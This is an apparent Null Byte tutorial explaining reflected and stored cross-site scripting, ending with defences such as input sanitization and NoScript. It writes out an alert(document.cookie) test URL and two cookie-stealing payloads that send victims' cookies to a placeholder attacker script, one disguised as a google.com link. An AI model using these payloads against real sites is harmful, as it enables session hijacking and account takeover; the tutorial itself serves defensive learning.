How To: How Cross-Site Scripting (XSS) Attacks Sneak into Unprotected Websites (Plus: How to Block Them)

XSS stands for cross-site scripting, which is a form of web-based exploitation that uses client-side vulnerabilities in a web page to execute malicious JavaScript codes. JavaScript is referred to as "cross-site" because it usually involves an external website containing the malicious code. That code is most commonly used to steal cookies with a website that the attacker created and hosted on another server. The cookies can then be used to escalate privileges and gain root access to someone's website. XSS can be used for a number of other things, such as crashing users' web browsers. As many as 68% of websites have XSS vulnerabilities.

This is not good.

What Makes it Happen?

When a web developer isn't sanitizing user input by stripping malicious tags (i.e. <script>), the page will then pass on attack vectors to the source of the page and execute it as if it were there originally. The coder needs to sanitize malicious code tags so that the JavaScript isn't "escaping".

In this Null Byte, we will be educating you about XSS attacks and how to defend from them. There are two kinds of XSS exploits—non-persistent and persistent.

Non-persistent Attacks

Non-persistent attacks are very common and usually found in HTTP queries such as HTML forms and website search bars. When the attack is practiced, it would usually be sent over a trusted domain or over a private message with a link to the XSS attack. Here is an example of what a test for XSS could look like:

    http://www.example.com/index.php?id="><script>alert(document.cookie)</script>

This would cause an alert to appear with your session cookie in the browser, but the web page executed it. What does this mean? It's vulnerable.

We could then alter the attack to be directed towards a cookie logging script at our domain, and mask it in HTML and send it to fellow users:

    <a href="http://www.example.com/index.php?id=" rel="nofollow" target="_blank" ><script>document.location='www.yourdomain.com/cookiestealer.php?c=' + document.cookie</script>">www.google.com</a>

That would appear legitimate to the person being attacked. If there was no HTML allowed, you could always mask the link with a URL shortener.

Persistent Attacks

Persistent attacks are probably what you assume they are—persistent. The effect of persistent XSS attack will remain, not just temporarily effecting a specific user. This is because the attack vector is stored on the server, and the changes to the webpage are permanent. These are commonly executed on forums or on sites where you can customize your webpage with HTML and save the malicious JavaScript, rather than just execute it.

The attack is performed similar to the last attack, aside from being posted in a static location. Let's take a look at how the attacks will differ:

   <img src="><script>document.location='www.yourdomain.com/cookiestealer.php?c=' + document.cookie'</script&gt;">

Everyone who views this page will have their cookies logged to a remote cookie-logging script.

How to Defend Yourself

If you're a web developer, there is only one way to prevent this. Close your tags properly and sanitize input!

For the rest of us, there exists NoScript, a plugin for Firefox that blocks JavaScript and filters XSS attacks. It allows you to white list and selectively allow which domains have the right to use JavaScript. It is the single best plugin you can have for your browser, hands down.

That's all for this Null Byte.

I know this is a hard subject to wrap your head around, so if you're a beginner, keep me and the rest of the crew entertained with your questions in IRC!